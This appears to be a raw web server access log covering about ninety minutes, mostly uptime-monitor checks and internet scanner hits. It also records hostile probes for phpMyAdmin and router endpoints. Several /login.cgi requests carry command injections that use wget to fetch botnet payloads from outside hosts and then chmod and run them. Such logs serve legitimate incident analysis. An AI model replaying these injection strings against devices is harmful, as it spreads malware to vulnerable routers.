103.45.103.236 - - [29/Feb/2020:17:44:57 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:44:58 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:44:59 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:02 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:02 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:02 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:03 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:03 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:03 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:04 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:04 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:04 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:05 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:05 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:13 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:21 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:21 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:21 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:22 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:22 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:23 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:23 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:24 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
103.45.103.236 - - [29/Feb/2020:17:45:24 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
212.91.246.72 - - [29/Feb/2020:17:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.176.94.80 - - [29/Feb/2020:17:47:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.68.246.198 - - [29/Feb/2020:17:47:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:17:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.172.105.234 - - [29/Feb/2020:17:48:54 +0100] "GET /admin/config.php?password%5B0%5D=ZIZO&username=admin HTTP/1.1" 404 321 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.27.2.el7.x86_64"
212.91.246.72 - - [29/Feb/2020:17:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.178.84.141 - - [29/Feb/2020:17:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [29/Feb/2020:17:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.101.171.183 - - [29/Feb/2020:17:51:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
212.91.246.72 - - [29/Feb/2020:17:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.189.106.0 - - [29/Feb/2020:17:52:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:17:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.106.183.106 - - [29/Feb/2020:17:59:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:17:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.10.104.117 - - [29/Feb/2020:18:00:32 +0100] "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:18:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.89.213 - - [29/Feb/2020:18:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:18:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.165.116.63 - - [29/Feb/2020:18:19:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [29/Feb/2020:18:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.142.212.105 - - [29/Feb/2020:18:22:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:18:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.48.224.168 - - [29/Feb/2020:18:24:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:18:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.192.58.99 - - [29/Feb/2020:18:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [29/Feb/2020:18:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.106.2.32 - - [29/Feb/2020:18:35:35 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:35 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:36 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:36 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:36 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:36 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:36 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:37 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
170.106.2.32 - - [29/Feb/2020:18:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [29/Feb/2020:18:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.61.35.7 - - [29/Feb/2020:18:42:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [29/Feb/2020:18:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [29/Feb/2020:18:48:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:18:48:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:18:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [29/Feb/2020:18:48:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [29/Feb/2020:18:48:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
206.189.237.232 - - [29/Feb/2020:18:48:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "masscan/1.0 (https://github.com/robertdavidgraham/masscan)"
121.164.35.72 - - [29/Feb/2020:18:49:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:18:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.246.224.37 - - [29/Feb/2020:18:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
92.118.161.41 - - [29/Feb/2020:18:50:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [29/Feb/2020:18:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.208.22 - - [29/Feb/2020:18:53:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.210.31.47 - - [29/Feb/2020:18:53:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:18:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:18:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [29/Feb/2020:19:04:44 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [29/Feb/2020:19:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.89.4.31 - - [29/Feb/2020:19:07:31 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [29/Feb/2020:19:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.228.107.4 - - [29/Feb/2020:19:08:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
212.91.246.72 - - [29/Feb/2020:19:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:19:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
